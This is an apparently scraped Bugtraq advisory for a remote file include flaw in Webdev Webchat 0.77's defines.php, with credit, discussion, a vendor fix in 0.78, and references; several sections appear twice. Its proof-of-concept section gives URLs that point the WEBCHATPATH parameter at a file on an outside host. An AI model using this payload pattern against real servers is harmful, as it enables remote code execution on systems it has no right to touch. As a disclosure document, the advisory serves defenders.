Webchat Defines.PHP Remote File Include Vulnerability
BID:7000
Info
Webchat Defines.PHP Remote File Include Vulnerability
| Bugtraq ID: | 7000 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 03 2003 12:00AM |
| Updated: | Mar 03 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to "Frog Man" <[email protected]>. |
| Vulnerable: |
Webdev Webchat 0.77 |
| Not Vulnerable: | |
Discussion
Webchat Defines.PHP Remote File Include Vulnerability
Webchat is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.
This vulnerability is as a result of insufficient sanitization performed on remote user-supplied data. Under some circumstances, it is possible for remote attackers to influence the path for certain include files to point to an external file by manipulating URI parameters.
If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.
Webchat is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.
This vulnerability is as a result of insufficient sanitization performed on remote user-supplied data. Under some circumstances, it is possible for remote attackers to influence the path for certain include files to point to an external file by manipulating URI parameters.
If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.
Exploit / POC
Webchat Defines.PHP Remote File Include Vulnerability
The following proof of concept was provided:
http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php
The following proof of concept was provided:
http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php
Solution / Fix
Webchat Defines.PHP Remote File Include Vulnerability
Solution:
The vendor has released a fix to address this issue:
Webdev Webchat 0.77
Solution:
The vendor has released a fix to address this issue:
Webdev Webchat 0.77
-
Webdev Webchat 0.78
http://www.webdev.ro/products/webchat/download.php
References
Webchat Defines.PHP Remote File Include Vulnerability
References:
References:
- Webchat Homepage (Webdev)
- WebChat (PHP) ("Frog Man"
)